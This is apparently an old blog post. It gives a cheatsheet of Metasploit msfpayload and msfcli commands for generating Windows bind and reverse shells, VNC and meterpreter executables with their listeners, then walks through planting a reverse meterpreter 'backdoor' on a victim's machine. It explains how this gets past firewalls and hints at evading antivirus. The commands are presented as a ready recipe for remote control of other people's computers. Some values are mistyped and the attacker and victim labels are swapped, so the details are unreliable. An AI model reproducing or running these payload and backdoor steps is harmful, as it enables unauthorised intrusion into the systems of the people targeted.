msfpayload goodness (cheatsheet)

Like one of my favorite blogs, http://synjunkie.blogspot.com, this post is more of a reference to me, cheatsheet if you will. There is so much to know and so little space to store it all in the head. Because msfpayload has been so good to me, i figure i'd do it a favour and spread some of its goodness again. This time, since its been done before, instead of recreating the wheel im just gonna make a duplicate from synjunkies blog. Here it is, your cheatsheet to gaining a shell lol.

Victim, Windows: 192.168.1.110
hacker, Linux: 192.168.1.112
Ports not specified in any example would default to 4444

1. For a listening shell on the target

Create payload:
./msfpayload windows/shell_bind_tcp LPORT=2482 X > /tmp/Listen-shell.exe

Target:
run Listen-shell.exe

Hacker:
nc 192.168.1.110 2482



2. For a reverse shell on the target

Create payload:
./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.112 X > /tmp/reverse-shell.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.112 E

Target:
run reverse-shell.exe



3. For a VNC listener on target

Create payload:
./msfpayload windows/vncinject/bind_tcp LPORT=2482 X > Listen-vnc.exe

Target:
run Listen-vnc.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=2482 RHOST=192.168.1.110 DisableCourtesyShell=TRUE E



4. For a reverse VNC session

Create payload:
./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 X > /tmp/reverse-vnc.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.1.112 LPORT=2482 DisableCourtesyShell=TRUE E

Target:
run reverse-vnc.exe



5. For a meterpreter listener

create payload:
./msfpayload windows/meterpreter/bind_tcp LPORT=2482 X > met-listen.exe

Target:
run met-listen.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=192.168.1.110 LPORT=2482 E



6. For a reverse meterpreter connection (not working yet. not sure why)

Create payload:
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.112 X > /tmp/met-reverse.exe

Hacker:
./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.112 E

Target:
run met-reverse.exe

Like noted by synjunkie, all these payloads would be detected by most anti-virus systems. I would save methods of avoiding the AV vendors for another blog, but you can take a look at msfencode in the meatime to have an idea of where to start your research.

References/Good reading:
http://synjunkie.blogspot.com/2008/10/metasploit-payloads-msfpayload.html

Setting up backdoors using MsfPayload

With Reference to SynJunkies wonderful blog on 'Bob' the backdoor man(can use as a reference also).

Backdoors are pretty cool and leaves one with so many possibilities. In definition, a backdoor is an opening (way to gain access) to a system that his more or less hidden from the sole user(s) of the system. Im gonna show you how easy it is to set up with a few commands. It does involve using Metasploit to generate the payload (our backdoor program) and we are gonna set up a handler (server/listner) to handle to connection. The payload is gonna connect back to us instead of listening and waiting for us to connect to it. The reason for this is because we are anticipating that the system may be using a firewall and 9 times out of 10 would be already blocking the necessary ports for us. We can kung-fu our way through these simple firewalls (like windows firewall) by having our program communicate to us first. Alot of these firewalls would let outside traffic through only if the communication has been originated from within the network.

Noob, 10.0.0.1, Backtrack 4 aka BT4 (linux)
Hacker, 10.0.0.2 (windows 2000, xp SP2, SP3 , Vista etc... it doesnt matter)

Creating the payload with BT4:
"./msfpayload windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=5555 X > backdoor.exe"

Setting up the server/handler to listen for connections on BT4:
"./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.0.01 LPORT=5555 E"

Now use your magic and get backdoor.exe onto the windows machine or you can just copy it to a usb thumb drive and copy it onto windows, that works. Wtih your server/handler running, execute backdoor.exe on the windows system and voila, your backdoor should now be connected to the server. You now have reasonable control of the windows box. If problems may arise, i would advise turning off your iptables rules or alow port 5555 into your box like i couldnt figure out at the time. Go figure lol.

References/Good Reading:
http://synjunkie.blogspot.com/2009/11/bob-backdoor-man.html
http://synjunkie.blogspot.com/2009/11/bob-backdoor-man-part-2.html